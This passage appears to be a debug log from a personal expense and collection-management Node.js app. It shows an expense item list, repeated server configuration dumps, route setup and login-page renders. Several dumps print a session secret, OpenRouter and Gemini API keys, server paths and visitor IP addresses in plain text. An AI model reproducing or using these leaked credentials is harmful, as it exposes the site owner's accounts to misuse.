    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  ... 591 more items
]
2026-06-25T16:07:10.413Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-25T16:07:12.543Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-25T16:07:13.405Z server-connect:setup:upload Upload middleware configured.
2026-06-25T16:07:13.406Z server-connect:secure CSRF Protection initialized
2026-06-25T16:07:13.411Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-25T16:07:13.412Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-25T16:07:13.413Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-25T16:07:13.416Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-25T16:07:13.424Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-25T16:07:13.426Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-25T16:07:13.439Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-25T16:07:13.452Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-25T16:07:13.457Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-25T16:07:13.459Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-25T16:07:13.461Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-25T16:07:13.465Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-25T16:07:13.470Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-25T16:07:13.480Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-25T16:07:13.484Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-25T16:07:13.557Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-25T16:07:13.558Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-25T16:07:13.561Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-25T16:07:13.568Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-25T16:07:13.572Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-25T16:07:13.574Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-25T16:07:13.582Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-25T16:07:13.586Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-25T16:07:13.592Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-25T16:07:13.592Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-25T16:07:13.597Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-25T16:07:13.599Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-25T16:07:13.601Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-25T16:07:13.607Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-25T16:07:13.609Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-25T16:07:13.611Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-25T16:07:13.613Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-25T16:07:13.617Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-25T16:07:13.619Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-25T16:07:13.625Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-25T16:07:13.629Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-25T16:07:13.631Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-25T16:07:13.640Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-25T16:07:14.130Z server-connect:router Serving templateView /
2026-06-25T16:07:14.132Z server-connect:app Executing action step identify
2026-06-25T16:07:14.133Z server-connect:app options: { provider: 'security' }
2026-06-25T16:07:14.135Z server-connect:auth No login cookie found
2026-06-25T16:07:14.135Z server-connect:output identity: false
2026-06-25T16:07:14.135Z server-connect:app Executing action step restrict
2026-06-25T16:07:14.135Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-25T16:07:14.138Z server-connect:output restrict: undefined
2026-06-25T16:07:14.276Z server-connect:router Serving templateView /login
2026-06-25T16:07:14.276Z server-connect:app Executing action step identify
2026-06-25T16:07:14.276Z server-connect:app options: { provider: 'security' }
2026-06-25T16:07:14.276Z server-connect:auth No login cookie found
2026-06-25T16:07:14.276Z server-connect:output identity: false
2026-06-25T16:07:14.276Z server-connect:router Render template layouts/authentication
2026-06-25T16:07:14.277Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.55.18.214',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-26T16:07:14.274Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.55.18.214',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.55.18.214',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-26T01:49:36.122Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-26T01:49:38.383Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-26T01:49:39.248Z server-connect:setup:upload Upload middleware configured.
2026-06-26T01:49:39.249Z server-connect:secure CSRF Protection initialized
2026-06-26T01:49:39.254Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-26T01:49:39.256Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-26T01:49:39.256Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-26T01:49:39.259Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-26T01:49:39.265Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-26T01:49:39.272Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-26T01:49:39.282Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-26T01:49:39.295Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-26T01:49:39.300Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-26T01:49:39.302Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-26T01:49:39.303Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-26T01:49:39.308Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-26T01:49:39.313Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-26T01:49:39.323Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-26T01:49:39.327Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-26T01:49:39.397Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-26T01:49:39.401Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-26T01:49:39.405Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-26T01:49:39.411Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-26T01:49:39.415Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-26T01:49:39.417Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-26T01:49:39.425Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-26T01:49:39.426Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-26T01:49:39.432Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-26T01:49:39.434Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-26T01:49:39.438Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-26T01:49:39.440Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-26T01:49:39.442Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-26T01:49:39.448Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-26T01:49:39.450Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-26T01:49:39.452Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-26T01:49:39.454Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-26T01:49:39.458Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-26T01:49:39.460Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-26T01:49:39.466Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-26T01:49:39.470Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-26T01:49:39.472Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-26T01:49:39.481Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-26T01:49:39.970Z server-connect:router Serving templateView /
2026-06-26T01:49:39.973Z server-connect:app Executing action step identify
2026-06-26T01:49:39.973Z server-connect:app options: { provider: 'security' }
2026-06-26T01:49:39.975Z server-connect:auth No login cookie found
2026-06-26T01:49:39.975Z server-connect:output identity: false
2026-06-26T01:49:39.975Z server-connect:app Executing action step restrict
2026-06-26T01:49:39.975Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-26T01:49:39.980Z server-connect:output restrict: undefined
2026-06-26T01:49:40.310Z server-connect:router Serving templateView /login
2026-06-26T01:49:40.310Z server-connect:app Executing action step identify
2026-06-26T01:49:40.310Z server-connect:app options: { provider: 'security' }
2026-06-26T01:49:40.310Z server-connect:auth No login cookie found
2026-06-26T01:49:40.310Z server-connect:output identity: false
2026-06-26T01:49:40.310Z server-connect:router Render template layouts/authentication
2026-06-26T01:49:40.311Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: '*/*',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.93.124.207',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-27T01:49:40.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.93.124.207',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: '*/*',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.93.124.207',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-26T12:50:39.584Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-26T12:50:41.854Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-26T12:50:42.717Z server-connect:setup:upload Upload middleware configured.
2026-06-26T12:50:42.717Z server-connect:secure CSRF Protection initialized
2026-06-26T12:50:42.722Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-26T12:50:42.724Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-26T12:50:42.725Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-26T12:50:42.728Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-26T12:50:42.733Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-26T12:50:42.737Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-26T12:50:42.751Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-26T12:50:42.764Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-26T12:50:42.770Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-26T12:50:42.772Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-26T12:50:42.774Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-26T12:50:42.778Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-26T12:50:42.784Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-26T12:50:42.793Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-26T12:50:42.798Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-26T12:50:42.868Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-26T12:50:42.870Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-26T12:50:42.874Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-26T12:50:42.880Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-26T12:50:42.883Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-26T12:50:42.886Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-26T12:50:42.893Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-26T12:50:42.895Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-26T12:50:42.901Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-26T12:50:42.903Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-26T12:50:42.907Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-26T12:50:42.909Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-26T12:50:42.911Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-26T12:50:42.917Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-26T12:50:42.919Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-26T12:50:42.921Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-26T12:50:42.923Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-26T12:50:42.927Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-26T12:50:42.927Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-26T12:50:42.934Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-26T12:50:42.938Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-26T12:50:42.940Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-26T12:50:42.950Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-26T12:50:43.448Z server-connect:router Serving templateView /
2026-06-26T12:50:43.482Z server-connect:app Executing action step identify
2026-06-26T12:50:43.482Z server-connect:app options: { provider: 'security' }
2026-06-26T12:50:43.494Z server-connect:auth No login cookie found
2026-06-26T12:50:43.494Z server-connect:output identity: false
2026-06-26T12:50:43.494Z server-connect:app Executing action step restrict
2026-06-26T12:50:43.495Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-26T12:50:43.498Z server-connect:output restrict: undefined
2026-06-26T16:20:56.387Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
